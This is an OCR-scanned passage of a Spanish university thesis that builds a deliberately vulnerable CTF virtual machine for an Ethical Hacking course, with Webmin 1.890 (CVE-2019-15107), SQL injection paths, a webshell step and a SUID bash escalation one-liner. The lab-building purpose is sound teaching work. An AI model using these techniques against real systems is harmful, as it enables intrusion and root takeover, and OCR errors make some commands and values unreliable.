inyeccion remota de comandos a través del pardmetro expired del “script

password change.cgi”.

* i i P P ey ~
$ineibe_ :incibe-cert_ D E 2 @
INCIBE INCIBE-CERT ~ CIUDADANIA  MENORES EMPRESAS EVENTOS ESPANA DIGITAL 2026

—_——

Alertatemprana Blog Publicaciones Incidentes Servicios  Sectores Estratégicos  Sobre INCIBE-CERT

INICIO / INCIBE-CERT / Alertatemprana / Vulnerabilidades / CVE-2019-15107

Elnerabilidad en Webmin (CVE-2019-15107)

Gravedad CvSSv3.1: CRITICA

Tipo: CWE-78 [0 Neut
Fecha de publicacién: 15/0

Ultima modificacion: 14/03

Figura 53: Fallo de seguridad CVE-2019-15107 [63].

Lo primero que se realizd para incorporar el fallo de seguridad fue instalar las
librerias necesarias para el funcionamiento de Webmin, ejecutando el siguiente

comando:

apt update && apt install -y gcc wget perl libnet-ssleay-perl openssl
libauthen-pam-perl libio-pty-perl libapt-pkg-perl

El cual instala todas las dependencias necesarias, incluyendo herramientas de
compilacidn, soporte para certificados SSL, autenticacion PAM y funciones de Perl,

esto con el fin de asegurar que Webmin pueda operar sin problemas en el sistema.
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Posteriormente, se cred un nuevo directorio “mkdir /opt/webmin’; en este mismo
se descargd el paquete de Webmin 1.890 con el comando "wget

http://prdownloads.sourceforge.net/webadmin/webmin_1.890 all.deb" (ver
Figura 54).

root@nexusplaySQLi: /opt/webmin#t wget http://prdownloads. sourceforge.net/webadmin/webmin_1.898_all.deb

--2025-16-20 22:13:55— http://prdownloads. sourceforge. net/webadmin/webmin_1.898_all.deb

Resolviendo prdownloads.sourceforge.net (prdownloads.sourceforge.net)... 2606:4700::6812:d95, 2606:4700::6812:c95, 104.18.13.149, ...
Conectando con prdonnloads.sourceforge.net (prdownloads.sourceforge.net)[2606:4700: :6812:d95]:80. .. conectado.

Peticion HTTP enviada, esperando respuesta... 381 Moved Permanently

Ubicacidn: http://downloads.sourceforge.net/project /webadmin/webmin/1.890/webmin_1.896_all.deb [siguiente]

—-2025-10-20 22:13:55— http: //downloads. sourceforge.net/project/webadnin/webmin/1.898/webmin_1.890_all.deb

Resolviendo donnloads.sourceforge.net (downloads.sourceforge.net)... 2606:4700::6812:c95, 2606:4700::6812:d95, 1604.18.12.149, ...
Reutilizando la conexidn existente a [prdownloads.sourceforge.net]:80.

Ubicacidn: http: i dL. . in/webmin/1.896/webmin 1.898 all.deb?viasf=1 [siguiente]
--2025-10-20 22:13:55— http://phoenixnap.dl.sourceforge.net/project/webadmin/webmin/1.898/webmin_1.890_all.deb?viasf=1

Resolviendo phoenixnap.dl.sourceforge.net (phoenixnap.dl.sourceforge.net)... 184.164.141.26

Conectando con phoenixnap.dl.sourceforge.net (phoenixnap.dl.sourceforge.net)[184.16t.141.26]:80... conectado.
Peticion HTTP enviada, esperando respuesta... 268 OK

Longitud: 15550066 (15M) [application/octet-stream]

Grabando a: “webmin_1.890_all.deb”

webmin_1.890_all.deb 100%[== =>] 14,831 930KB/s  in 18s
2025-10-20 22:14:14 (852 KB/s) - “webmin_1.890_all.deb” guardado [15550066/15550066]

root@nexusplaySQLi: /opt /webmin# 1s

Figura 54: Descarga del paquete Webmin en el directorio /opt/webmin.

Una vez preparados todos los elementos necesarios se instald6 Webmin usando el

comando "apt install ./webmin 1.890 all.deb -y" y se verifico que la version

instalada en el sistema fuera la correcta “dpkg -1 webmin” (ver Figura 55).

root@nexusplaysSQLi: /opt/webmin# dpkg -1 webmin

Deseado=desconocido(U) /Instalar/eliminaR/Purgar/retener(H)

| Estado=No/Inst/ficheros—Conf/desempaqUetado/medio—-conF/medio-inst(H)/espera-dis
)/pendienTe-disparo

|/ Err?=(ninguno)/requiere-Reinst (Estado,Err: mayisc.=malo)

||/ Nombre Versién Arquitectura Descripcion

++4—=== = =

ii webmin 1.890 web-based administration interface
root@nexusplaysQLi: /opt/webmin#

Figura 55: Verificacion de la instalacion de Webmin.

A continuacion, se ingresé al codigo del script “password change.cgi”, para
verificar que exista la vulnerabilidad que permitird ejecutar inyecciones de

comandos (ver Figura 56).

'MINISERV_INTERNAL'} || Ca d by mini
&init_config();
S&ReadParse();
&get_miniserv_confiag(\

'expired'} | 'password_expired'}, o/ 'expired'}$

"newl'} " || &pass_error( 'password_enewl'});
"newl'} 'new2'} || &pass_error( 'password_enew2'});

Figura 56: Vulnerabilidad en el script password_change.cgi.
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Seguido de esto, se utilizdo el comando “chage -1 root”, para verificar que la
contrasefia del usuario root esté expirada, ya que esto es esencial para que los
ataques de inyeccion de comandos en Webmin puedan ejecutarse sin

inconvenientes (ver Figura 57).

root@nexusplaySQLi: /opt/webmin# nano /usr/share/webmin/password_change.cgi
root@nexusplaySQLi: /opt/webmin# sudo chage -1 root

Last password change : oct 21, 2625
Password expires . never

Password inactive . never
Account expires ! never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7

Figura 57: Estado de la contraseiia de root.

Como adicional, se cred un nuevo directorio /opt/webmin/CVE-2019-15107, el cual
contendra un README.md que tiene como proposito dar una pista del fallo de

seguridad que se encuentra en el sistema (ver Figura 58).

root@nexusplaySQLi: /opt/webmin/CVE-2019-15107# 1s
README . md
root@nexusplaySQLi: /opt/webmin/CVE-2019-15107#

Figura 58: Pista almacenada en el archivo README.md.

Se agregaron archivos distractores en el directorio /opt/webmin, como scripts y
otros ficheros que no cumplen ninguna funcién real, solo con el fin de simular

actividad en el entorno (ver Figura 59).

root@nexusplaySQLi: /opt/webmin# 1s -1

total 15216

drwxr-xr-x 2 root root 4e96 oct 20 22:21
-ruxr-xr-x 1 root root 161 oct 20 22:25
drwxr-xr-x 2 root root 4@96 oct 20 22:22
-rwxr=xr-x 1 root root 168 oct 20 22:24

-rivxr-xr-x 1 root root 161 oct 20 22:24
drwxr-xr-x 8 root root Ue96 oct 20 22:24
drwxr-xr-x 2 root root Ue96 oct 20 22:22

-rw-r-—r— 1 root root 15550066 jul 15 2018
root@nexusplaySQLi: /opt/webmin#

Figura 59: Archivos adicionales en el directorio /opt/webmin.
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3.3.6. Aiadir segunda y tercera bandera.

La segunda bandera se la afiadi6 en el directorio del usuario estandar del sistema,
donde se la guard6 en un .txt y se quitd la posibilidad de ser modificada con el

comando “chattr +i root.txt” (ver Figura 60).

root@nexusplaySQLi: /home/pedri#f nano user.txt
root@nexusplaySQLi: /home/pedrif# 11
total 68
drwxr-xr-x 3 pedri pedri U896 oct 20 22:27 ./
drwxr-xr-x 3 root root Ue96 oct 20 19:34 ../

pedri pedri 135 oct 20 21:33 .bash_history
-rw-r——r— 1 pedri pedri 220 oct 20 19:34 .bash_logout
-rw-r—r— 1 pedri pedri 3771 oct 20 19:34 .bashrc

pedri pedri U096 oct 20 208:19 /

1 pedri pedri 33455 oct 20 21:32 nexusplay_db.sql

-rw-r——r— 1 pedri pedri 675 oct 20 19:34 .profile
-rw-r——r— 1 pedri pedri @ oct 20 20:21 .sudo_as_admin_successful
-rw-r—r— 1 root root 33 oct 20 22:27 user.txt
root@nexusplaySQLi: /home/pedri#f chattr +i user.txt
root@nexusplaySQLi: /home/pedri#f lsattr user.txt
—l— e— user.txt
root@nexusplaySQLi: /home/pedri#

Figura 60: Segunda bandera aiiadida.

La tercera bandera se la afiadi6 en el directorio de root, donde también se la guardé
en un .txt y se quitd la posibilidad de ser modificada con el comando “chattr +i

root.txt” (ver Figura 61).

root@nexusplaySQLi:~# nano root.txt
root@nexusplaySQLi:~# 11
total 36

root root U096 oct 20 22:29 ./

root root UB96 oct 20 22:18 /

root root 497 oct 20 21:33 .bash_history

root root 3186 oct 22 2815 .bashrc

root root 247 oct 20 21:U48 .mysql_history

/

-rn-r—r— root root 148 ago 17 2015 .profile
root root 1824 oct 20 22:18 .rnd
—I'N-r—I— root root 33 oct 20 22:29 root.txt
root@nexusplaySQLi:~# chattr +i root.txt
root@nexusplaySQLi:~# lsattr root.txt
— i e— root.txt
root@nexusplaySQLi:~# |

1
1
1
drwxr—-xr-x 2 root root U096 oct 20 20:21
1
1
1

Figura 61: Tercera bandera afiadida.
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3.3.7. Configuracion de la red

Una vez terminadas todas las instalaciones en la maquina virtual, se procedi6 a
verificar que su interfaz de red est¢ en DHCP para que asigne una IP automatica

(ver Figura 62).

GNU nano £.5.3 Archivo: setcsnetwork-interfaces

# This file describes the network interfaces available on your systenm
# and how to activate them. For more information, see interfaces(5).

zsource setcsnetworksinterfaces.d =

# The loopback network interface

auto lo
iface lo inet loopback

# The primary network interface
auto enp0=3
iface enp0s3 inet dhcp

Figura 62: Interfaz de red de la maquina en DHCP.

Luego se modifico su adaptador de red a modo “NAT” (ver Figura 63).
{3' nexusplaySQLi - Configuracion — O

General Red
Sistena Adaptador 1
Pantalla
Almacenamiento Conectado a:  NAT
Audio
* Avanzado
Red

Puertos serie

E Interfaz de usuario

Aceptar Cancelar

Figura 63: Adaptador configurado en “NAT”.

Con estas configuraciones, el adaptador de red de la maquina podra modificarse
segin las necesidades del usuario, evitando cualquier problema de conexién o

incompatibilidad con la red de la universidad.
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Por ultimo, se reinicid la maquina y se verifico, mediante el comando “ip add”, que

la direccion IP asignada corresponde al rango predeterminado del modo NAT (ver

Figura 64).

root@nexusplay3iLi:~# ip add
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc nogueue state UNKNOWN group default glen 1
link-loopback ©0:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1-8 scope host lo
valid_1ft forever preferred_lft forever
inetb ::1-128 scope host
valid_1ft forever preferred_lft forever
Z: enpOs3: <BROADCAST,MULTICAST,UP,LOMER_UP> mtu 1500 gdisc pfifo_fast state UP group default glen 1
lelol
linksether 08:00:27:29:aa:ab brd ff:fF:Ff:FF:FF :FF
inet 10.0.2.15/24 brd 10.0.2.255 scope global enpOs3
valid_1ft forever preferred lft forever
inetb feB0::a00:27ff :fe29:aaab 64 scope link
valid_1ft forever preferred_lft forever
root@nexusplaySQLi: &

Figura 64: Direccion IP de la maquina virtual en NAT.
3.3.8. Exportacion de la maquina virtual.

Con las instalaciones y configuraciones en la maquina virtual, se procedio a
exportarla en formato OVA. Para esto se ingreso al ment de archivos de VirtualBox

y se dio clic en la opcidon “Exportar servicios virtualizados” (ver Figura 65).

% Oracle VM VirtualBox Administrador

Control+I
Control+E

Figura 65: Opcion “exportar servicio virtualizado”.
Al hacerlo, se mostrdé una pantalla para seleccionar la maquina que se deseaba
exportar, eligiendo “nexusplaySQLi” y haciendo clic en el botén Siguiente (ver

Figura 66).

-.j;

Maquinas virtuales

Modo experto

Figura 66: Seleccion de la maquina virtual a exportar.
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En la siguiente seccion se selecciono la ubicacion en la computadora local donde
se desea guardar el archivo OVA y las demas opciones se las dejo con su valor

predeterminado (ver Figura 67).

Configuracion de formato

ne un formato al qu

El Open Virtualization Format

ficar una

: ' Esaribir

Induir arch

Anterior

Figura 67: Seleccion de carpeta local para exportacion del archivo OV A.

Antes de iniciar la exportacion de la maquina, se revisaron sus preferencias para
asegurarse de que fueran correctas, y posteriormente se hizo clic en el botoén

“Terminar” (ver Figura 68).

¥ Exportar servicio virtualizado ? =

Preferencias de servicio

00000090 *

Figura 68: Finalizacion de la exportacion.
Una vez completada la exportacion de la maquina en formato .OVA, se verificd que

estuviera en el archivo seleccionado (ver Figura 69).

Documentos »  EntornoVirtual

Tl Ordenar ~

Fecha de n icaci... | Tipo

irtualization Forr

Figura 69: Archivo .OVA exportado.
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3.4. FASE 4: PRUEBAS

Las pruebas realizadas son ayuda para comprobar el funcionamiento de la maquina
virtual "nexusplaySQLi". Para esto, se empled el archivo OVA previamente
exportado y Kali Linux 2025.1c como sistema operativo de ataque, los cuales

tendran una configuracioén en "Red NAT" para permitir una comunicacion directa.

Prueba N.° 01

Caso a evaluar Conectividad y escaneo de red de la maquina.

Objetivo de la Verificar si al configurar la red de la maquina
prueba NexusplaySQLi permite tanto obtener una direccion IP
automaticamente por DHCP como identificar sus servicios

y puerto activos mediante un escaneo por Nmap.

Pasos de la prueba

1. Crear una red virtual y configurar el adaptador de la maquina Kali y
nexusplaySQLi en modo “Red NAT”

2. Identificar desde Kali con el comando ip add que la red se haya asignado
correctamente

3. Escanear la red con la herramienta Nmap para identificar la direccion IP
que se le asigno6 a nexusplaySQLi

4. Ejecutar un ping desde Kali hacia la maquina nexusplaySQLi para
verificar su comunicacion

5. Realizar un escaneo con Nmap a la direccion IP de nexusplaySQLi para
comprobar que los puertos SSH, MYSQL y HTTP estuvieran activos

Resultados de la prueba

Resultados obtenidos Evaluacion
La méquina nexusplaySQLi obtuvo correctamente una |  Exitoso Fallido
direccion IP mediante DHCP al iniciarse en modo ><

“RED NAT”. Ademas de mostrar cada uno de sus

servicios activos por el escaneo de red con Nmap.

Tabla 4: Prueba de funcionalidad — Conectividad de red.
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Prueba N.° 02

Caso a evaluar Obtener informacion de la base de datos.

Objetivo de la | Verificar que los puntos vulnerables de la aplicacion web
prueba puedan ser explotados mediante ataques de inyeccion SQL

y permitan acceder a la informacion de la base de datos.

Pasos de la prueba

1. Acceder a la aplicacion web desde el navegador mediante la direccion IP
asignada a la maquina nexusplaySQL1

2. Verificar, mediante inyecciones SQL en el formulario de inicio de sesion,
si se puede provocar un error de sintaxis y obtener acceso a la aplicacion
web

3. Realizar ataques de inyeccion SQL por UNION SELECT en el buscador
principal de la aplicacion web para verificar que se pueda extraer
informacion de la base de datos y acceder a las tablas para localizar las

credenciales del administrador con el fin de capturar la primera bandera

Resultados de la prueba

Resultados obtenidos Evaluacion

Los puntos vulnerables de la aplicacion

web respondieron correctamente a los Exitoso Fallido

X

ataques de SQLi tanto para generar

errores de sintaxis como para extraer la

informacion de la base de datos.

Tabla 5: Prueba de funcionalidad — SQLi a la aplicacion web.
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Prueba N.° 03

Caso a evaluar Acceder al usuario estandar del sistema.

Objetivo de la  Verificar que las configuraciones realizadas en los
prueba archivos donde se aloja la aplicacion web permiten
realizar ataques de inyeccidon SQL para acceder a la

informacion del sistema y crear una webshell.

Pasos de la prueba

1. Descifrar la contrasefia MDS5 para acceder al panel de administrador y
provocar un error de sintaxis en el buscador de transacciones para obtener
informacion sobre los archivos de la aplicacion web

2. Realizar inyecciones SQL en la aplicacion web para verificar que el
usuario de la base de datos tenga los permisos de secure file privy FILE
que permitan la lectura y escritura de archivos en el sistema

3. Inspeccionar el codigo de la aplicacion para identificar la ruta donde se
creara la webshell

4. Ejecutar la consulta SQLi que permita crear la webshell e identificar la
ruta del archivo donde se cred para ingresar a través del navegador

5. Revisar los archivos del sistema a través de la webshell para localizar la
clave del usuario estdndar

6. Verificar cual es el usuario del sistema mediante inyecciéon SQL en el
buscador principal de la aplicacion

7. Obtener las credenciales del usuario estandar por SSH a la maquina y

capturar la segunda bandera

Resultados de la prueba
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Resultados obtenidos Evaluacion

Las configuraciones realizadas en los archivos que

alojan la aplicacion web permitieron la lectura y Exitoso Fallido

escritura en el sistema mediante ataques de inyeccion ><

SQL, lo que posibilito el acceso al usuario estandar de

la méquina por SSH.

Tabla 6: Prueba de funcionalidad — Acceder al usuario estandar del sistema.

Prueba N.° 04

Caso a evaluar Escalada de privilegios para obtener permisos

administrativos.

Objetivo de la Verificar que el fallo de seguridad “CVE-2019-15107" de
prueba Webmin esté activo y permita realizar inyecciones de
comando para escalar privilegios y tener el control total

del sistema.

Pasos de la prueba

1. Localizar el directorio que contiene informacion sobre el fallo de
seguridad que afecta el sistema (CVE-2019-15107)

2. Verificar que Webmin esté funcionando en localhsot y escuchando en el
puerto 10000 para activarlo mediante un tinel SSH

3. Acceder a la interfaz de Webmin desde el navegador predeterminado de
Burp Suite para interceptar y modificar sus solicitudes HTTPS, con el
proposito de explotar la vulnerabilidad del script "password change.cgi"
mediante inyecciones de comandos

4. Mediante la vulnerabilidad identificada crear una copia en el directorio
/tmp del binario Bash con permisos de SUID

5. Verificar que el archivo binario Bash se haya creado correctamente en el

directorio del sistema junto con los permisos adecuados.
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6. Ejecutar el Bash para escalar privilegios a root y capturar la tercera

bandera

Resultados de la prueba

Resultados obtenidos Evaluacion

El fallo de seguridad CVE-2019-15107 en Webmin | Exitoso Fallido

permitio realizar escalado de privilegios por inyeccion ><

de comandos. Asimismo, facilito la creacion de un

shell SUID que otorga el control total del sistema.

Tabla 7: Prueba de funcionalidad — Escalada de privilegios.

Prueba N.° 05

Caso a evaluar Ejecutar ataques mediante las vulnerabilidades
adicionales.

Objetivo de la | Verificar que las vulnerabilidades adicionales que estan en

prueba la aplicacion web permitan ser explotadas.

Pasos de la prueba

1. Realizar SQLi booleana al formulario para crear una cuenta de la
aplicacion para comprobar que se pueden extraer los caracteres del
nombre de la base de datos

2. Ejecutar SQLi por tiempo en el formulario para actualizar datos del
usuario de la aplicacion para saber cuantos caracteres tiene el nombre de
la base de datos

3. Subir un archivo JPG en el campo de configuracion del panel del
administrador, interceptando esa peticion HTTP con Burp Suite para
cambiar el nombre de archivo y verificar si es posible engafiar al sistema

con una de las variantes de PHP
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Resultados de la prueba

Resultados obtenidos Evaluacion

Las vulnerabilidades en el formulario para crear una
cuenta y actualizar datos del usuario en la aplicacion
web permitieron realizar ataques de SQLi, aunque

) ) i . Exitoso Fallido
presentan un nivel de dificultad mas elevado. También

la vulnerabilidad en la carga de imagenes del panel de ><

administrador permiti6 subir un archivo con una de las
variantes de PHP mediante la modificacion de su

peticion HTTP con BurpSuite.

Tabla 8: Prueba de funcionalidad — vulnerabilidades adicionales.
Estimacion de tiempos de resolucion

Se mide el tiempo en que un estudiante tarda en completar la practica desde que
inicia sin conocimientos sobre las vulnerabilidades y fallas que tiene la méquina
hasta obtener control total del sistema, considerando la diferencia entre hacerlo solo
y hacerlo con la explicacion del docente junto con la herramienta, mostrando como

la orientacion reduce los tiempos de explotacion en cada actividad.

Descripcion Sin la explicacion  Con la explicacion

del docente del docente

Establecer conexion entre las | 15 minutos 7 minutos
maquinas y realizar escaneo de
red para identificar tanto su

direccion IP como sus servicios.

Ataques SQLi en la aplicacion | 23 minutos 10 minutos
web para obtener informacion y
acceso a la base de datos para

capturar la primera bandera.
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Ataques SQLi1 avanzados a la | 27 minutos 11 minutos
aplicacion web para obtener
acceso al usuario estandar del
sistema y capturar la segunda

bandera.

Explotacion del fallo de | 26 minutos 13 minutos
seguridad  (CVE-2019-15107)
para escalar privilegios a root y
obtener la tercera bandera y

control total del sistema.

Tabla 9: Tiempo estimado en realizar la explotacion de la maquina.
3.5. FASE 5: DOCUMENTACION
3.5.1. Introduccion

En este entorno virtual vulnerable se presenta un escenario que demuestra como,
partiendo de una vulnerabilidad en la manipulacion de datos, es posible subir
privilegios y tomar control total del sistema. Esto se hard mediante la maquina
nexusplaySQLi, que aloja una aplicacion web mal protegida que puede ser
explotada mediante inyecciones SQL, permitiendo acceder a informacion sensible
de la base de datos y del sistema, la cual puede ser utilizada para obtener las
credenciales del usuario estdndar y establecer una conexiéon remota por SSH.
Ademas de presentar el fallo de seguridad "CVE-2019-15107" de Webmin 1.890
que afecta al sistema, esto debido a vulnerabilidad presente en el script
"password change.cgi" que afecta al parametro expired, causando inyecciones de

comandos y dando privilegios de root.

Descripcion del entorno.

Miaquina Victima nexusplaySQLi — Formato OVA

Sistema Operativo Ubuntu Server 16.04
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Descripcion del entorno.

Servicios activos SSH port:22, Apache2 port:80 y MySQL port:3306
Vulnerabilidades Fallos en la manipulacion de datos en la aplicacion
incluidas web.

CVE-2019-15107 de Webmin 1.890 port: 10000

password change.cgi, parametro expired.

Red de nexusplaySQLi | Red virtual (NatNetwork) — modo Red NAT.

Banderas del entorno Bandera 1: Contrasefia del usuario admin de la

aplicacion web.
Bandera 2: Directorio del usuario estandar.

Bandera 3: Directorio de root.

Maiquina Atacante Kali Linux.

Red de Kali Red virtual (NatNetwork) - modo Red NAT.

Herramientas de Kali Burp Suite y Nmap.

Tabla 10: Informacion y configuracion del entorno virtual vulnerable.
3.5.2. Procedimiento para explotar la maquina NexusplaySQLi.

El proceso para resolver la maquina NexusplaySQLi comienza con la enumeracion
y reconocimiento de sus servicios y puertos. Luego, con la explotacion de la
aplicaciéon web, se extrae la informacién de la base de datos y del sistema,
obteniendo la primera bandera y las credenciales necesarias para acceder al usuario
de la maquina por SSH y capturar la segunda bandera. Para finalizar, se realiza la
post-explotacion del fallo de seguridad CVE-2019-15107 de Webmin 1.890 para

escalar privilegios a root y capturar la tercera bandera (ver Figura 70).
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Enumeracion y Reconocimiento

Se escanea la mdquina nexusplaySQLi, detectando
SSH en el puerto 22, un servidor web en el puerto 80 y
MySQL en el puerto 3306, aunque este Ultimo estd
cerrado. Esto permite conocer el entorno y los
posibles puntos de entrada para futuros ataques.

Explotacion

Se explotan las vulnerabilidades de la
aplicacion web mediante inyeccién SQL
para extraer informacion sensible de la
base de datos y del sistema.

Bandera BD

Para obtener a primera bandera se realizan ataques de
inyeccion SQL con UNION, extrayendo informacion de la
base de datos, incluida la contrasefia del usuario admin,
que corresponde a la bandera.

Bandera Usuario

A través de vulnerabilidades de inyeccién SQL se
detecté que secure_file_priv estaba vacio, lo que
permite que MySQL lea y escriba archivos del
sistema usando LOAD_FILE y SELECT ... INTO FILE.
También se detectd que el usuario posee privilegios
FILE. La combinacién de ambos permisos permitic,
mediante inyecciones SQL, obtener el nombre del
usuario del sistema y crear un webshell para robar
las credenciales del archivo PHP de la base de datos.
: Con esto se accedié por SSH al usuario estandar de
Post Explotacién lamaquina y se obtuvo la segunda bandera user.txt.
Al acceder al usuario de la maquina se busca el fallo
de seguridad, donde se identifica que tiene un
administrador de sistemas que es Webmin 1.890, que
presenta la vulnerabilidad CVE-2019-15107 en
password_change.cgi (pardmetro expired),
permitiendo realizar inyeccién de comandos. Esto
permite obtener informacion del usuario root y
explotar el sistema copiando un Bash mediante:

[ep /tmplrootbash ; chmod u+s /tmp/rootbash
Esto le asigna un permiso SUID, quedando creado el
binario rootbash con privilegios de root en el
directorio /tmp.

Bandera Root

Se ejecuta rootbash creado en el directorio
Jtmp para escalar privilegios a root y asf
capturar la tercera bandera root.txt.

Figura 70: Pasos de explotacion — Mdaquina nexusplaySQLi.

Para la resolucion del entorno vulnerable se siguid un camino en el que se
documentaron todos los ataques ejecutados, tanto contra la aplicacion web
vulnerable como contra el fallo de seguridad del sistema. Asimismo, se incluyeron
escenarios de ataques adicionales sobre la aplicacion que muestran vias alternativas

de explotacion. Para mas detalle de todo el proceso (ver Anexo 2: Guia para

resolver el entorno virtual vulnerable)
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CONCLUSIONES
Se desarrolld una aplicacion web empleando los lenguajes de programacion PHP,

HTML y CSS junto con la herramienta XAMPP quien proporciond los servicios de
Apache para visualizar y ejecutar la aplicacion en un servidor local, y MySQL,
junto con la interfaz phpMyAdmin, para gestionar y administrar la base de datos.
Mientras que en el cddigo de la aplicacion se afiadieron vulnerabilidades en los
formularios de autenticacion, buscador y actualizacién de perfil construyendo sus
consultas mediante concatenacion directa y dejando que las entradas del usuario no
sean validadas ni sanitizadas. Logrando de esta forma que, mediante inyecciones
SQL, sea posible acceder a la base de datos para extraer, modificar o eliminar

informacion.

Se configuré en la maquina virtual el sistema operativo Ubuntu Server 16.04,
modificando las cuentas de sus usuarios e instalando los servicios necesarios
(Apache, MySQL y SSH) que sirvieron tanto para alojar la aplicacion web como
configurarla para la ejecucion de ataques de inyeccion SQL mas avanzados. Para la
escalada de privilegios se incorpord el fallo de seguridad CVE-2019-15107 de
Webmin 1.890 debido a su vulnerabilidad en el parametro “expired” del “script
password_change.cgi” que permite ejecutar inyecciones de comando. Y por tltimo,
la VM fue exportada en formato OV A con sured modo NAT en DHCP para facilitar
su uso en distintos entornos, creando de esta forma un escenario para la ejecucion
de pruebas de penetracion donde un usuario tenga que iniciar desde la enumeracion

y reconocimiento hasta la explotacion y analisis de vulnerabilidades.

Se realizaron pruebas de funcionalidad a la maquina virtual (nexusplaySQLi), las
cuales confirmaron que sus componentes estan activos como la conectividad de red,
disponibilidad de los servicios instalados, ejecucion de inyecciones SQL contra la
aplicacion web, el acceso por SSH al usuario estandar del sistema y la explotacion
del fallo de seguridad para la escalada de privilegios. Ademas, se estimo el tiempo
en que el estudiante tarda en obtener el control total del sistema sin conocimientos
previos sobre la explotacion de la maquina el cual fue de 91 minutos, mientras que,
tras la explicacion del docente acompanado de la herramienta practica, el tiempo se

redujo a 41 minutos. Esto demuestra la importancia de contar con entornos
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simulados, accesibles y completos ya que facilita al docente poder realizar practicas

de ciberseguridad en clase junto con los estudiantes.

Se elabord una guia que describe el funcionamiento del entorno vulnerable y detalla
los pasos para su resolucion desde la enumeracion y reconocimiento, pasando por
la explotacion mediante inyecciones SQL para obtener credenciales y acceder por
SSH al usuario estandar del sistema, hasta la post-explotacion donde, a partir de la
informacion sobre el fallo de seguridad de Webmin, se realizd el escalado de
privilegio para obtener el acceso a root. Ademas de incluir ataques adicionales y
ejemplos practicos complejos de inyeccion SQL con el proposito de entregar al
docente actual de la asignatura de Ethical Hacking una herramienta funcional y

documentada para realizar practicas en un entorno controlado.
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RECOMENDACIONES

Se recomienda actualizar y mejorar la guia practica del entorno, afadiendo
explicaciones tedricas, pasos detallados de explotacion y preguntas de andlisis, de
manera que el entorno no solo sirva para ejecutar ataques, sino también para

comprender los fundamentos técnicos y defensivos detras de cada vulnerabilidad.

Es necesario generar mas escenarios sobre explotacion de maquinas virtuales con
su respectiva documentacion, de modo que la asignatura de Ethical Hacking pueda
contar no solo con una, sino con varias herramientas para que tanto el docente como
los estudiantes realicen practicas de ciberseguridad en clase sin depender de

plataformas externas.

Se recomienda el desarrollo de un sistema de tipo CTF (Captura de Bandera) donde
se puedan almacenar maquinas virtuales para que verifique las capturas de
banderas, registre el tiempo de resolucion y asigne puntuaciones a los estudiantes

para de esta manera facilitar una evaluacion objetiva del desempefio.

Se recomienda que, para el desarrollo de futuras maquinas virtuales, se utilice
Docker, que permite ejecutar aplicaciones dentro de contenedores aislados,
mejorando la portabilidad, el rendimiento y el uso eficiente de los recursos, ademas
de que facilita las pruebas y el despliegue de entornos sin necesidad de

configuraciones complejas.
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ANEXOS

Anexo 1: Entrevista al experto en Seguridad Informatica y Hacking Etico de
la Universidad Peninsula de Santa Elena de la Facultad de Sistemas y
Telecomunicaciones.

UNIVERSIDAD ESTATAL PENINSULA DE SANTA
ELENA FACULTAD DE SISTEMAS Y
TELECOMUNICACIONES TECNOLOGIAS DE LA
INFORMACION

ENTREVISTA AL ING. IVAN CORONEL, DOCENTE ACTUAL DE LA
ASIGNATURA DE ETHICAL HACKING, QUIEN ES EXPERTO EN
SEGURIDAD INFORMATICA.

Objetivo: Conocer las dificultades que enfrenta la asignatura de Ethical Hacking
para ejecutar practicas de ciberseguridad en clase e identificar la importancia de
contar con un entorno virtual vulnerable como herramienta de apoyo.

.Cuanto tiempo lleva impartiendo la asignatura de Ethical Hacking y cual
ha sido su experiencia general con los estudiantes en esta materia?

Llevo impartiendo esta asignatura durante seis afos y la experiencia con los
estudiantes ha sido muy buena porque, de alguna forma, han salido aprendiendo
conceptos y técnicas que les permiten proteger tanto a las instituciones en las que
trabajen como a sus propios emprendimientos, empresas, aplicaciones e incluso
a sus familiares frente a posibles ataques de delincuentes informaticos.

.Qué herramientas, plataformas o recursos usa actualmente para las
practicas de ciberseguridad en clase?

Durante muchos afios he utilizado HackTheBox, una plataforma que pone en
linea servidores disefiados para ser atacados sin ningin problema, ya que para
realizar una evaluacion de ciberseguridad es necesario contar con permisos de la
institucion, por lo que estos tipos de ataques no se ejecutan contra entornos reales,
sino en entornos controlados. Uno de esos entornos que he empleado es
HackTheBox, aunque su principal limitacion es que es una plataforma de pago,
lo que limita a los estudiantes los tiempos de conexion y la posibilidad de
mantener las maquinas encendidas. Recientemente he empezado a utilizar
maquinas ya preparadas de otras plataformas, como VulnHub, donde se pueden
descargar maquinas virtuales vulnerables e implementarlas en un laboratorio
controlado con VirtualBox.

.Como afecta la falta de material practico como entornos virtuales
vulnerables para el aprendizaje practico de los estudiantes durante las
clases?
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El no contar con material practico propio provoca que los estudiantes, al
descargar una maquina desde VulnHub, busquen facilmente las soluciones en
Internet, ya que estas se encuentran disponibles en numerosos sitios. Lo
importante en este punto es que sigan las guias proporcionadas para que realicen
los ejercicios por si mismos. Sin embargo, si la universidad dispusiera de sus
propias maquinas o el docente creara una maquina virtual vulnerable
personalizada, se incrementaria el nivel de dificultad, ya que no encontrarian
informacion facilmente en la red. En ese caso, podrian apoyarse en herramientas
de inteligencia artificial o en sitios especializados en vulnerabilidades, pero no
tendrian el trabajo hecho, sino que deberian desarrollar las soluciones por cuenta
propia.

.Qué dificultades cree que puede presentar usted o algiin otro docente para
crear material practico como un entorno virtual vulnerable para la clase de
Ethical Hacking?

Mas que una dificultad técnica, el principal desafio es el tiempo, ya que la labor
docente no solo implica dictar clases, sino también preparar el material, participar
en comisiones y asumir otras responsabilidades institucionales. En mi caso, estoy
a cargo de la Direccion de Nivelacion y Admision de la universidad, lo que limita
atn mas mi disponibilidad. Ademas, soy tutor de temas de titulacidn, participo
en la elaboracion de articulos y realizo actividades de investigacion. Por ello, mas
que representar una dificultad en la creacion de las maquinas vulnerables, el
verdadero reto radica en el tiempo que requiere desarrollarlas.

.De qué manera las restricciones de red de la universidad dificultan la
instalacion de servidores o laboratorios para practicas de ciberseguridad en
clase?

Las restricciones de red afectan bastante, porque la universidad cuenta con un
firewall de borde FortiGate, un equipo muy sofisticado que incorpora IPS, IDS y
diversas politicas de seguridad. En ocasiones, este equipo identifica las pruebas
de laboratorio como ataques y las bloquea, impidiendo realizar practicas, por
ejemplo, no se puede efectuar un escaneo porque el FortiGate del firewall
principal de la UPSE lo detecta como malicioso. Tampoco es posible alojar
servidores dentro del laboratorio, ya que al encender maquinas virtuales por
ejemplo con Bridged networking los routers de la universidad aplican
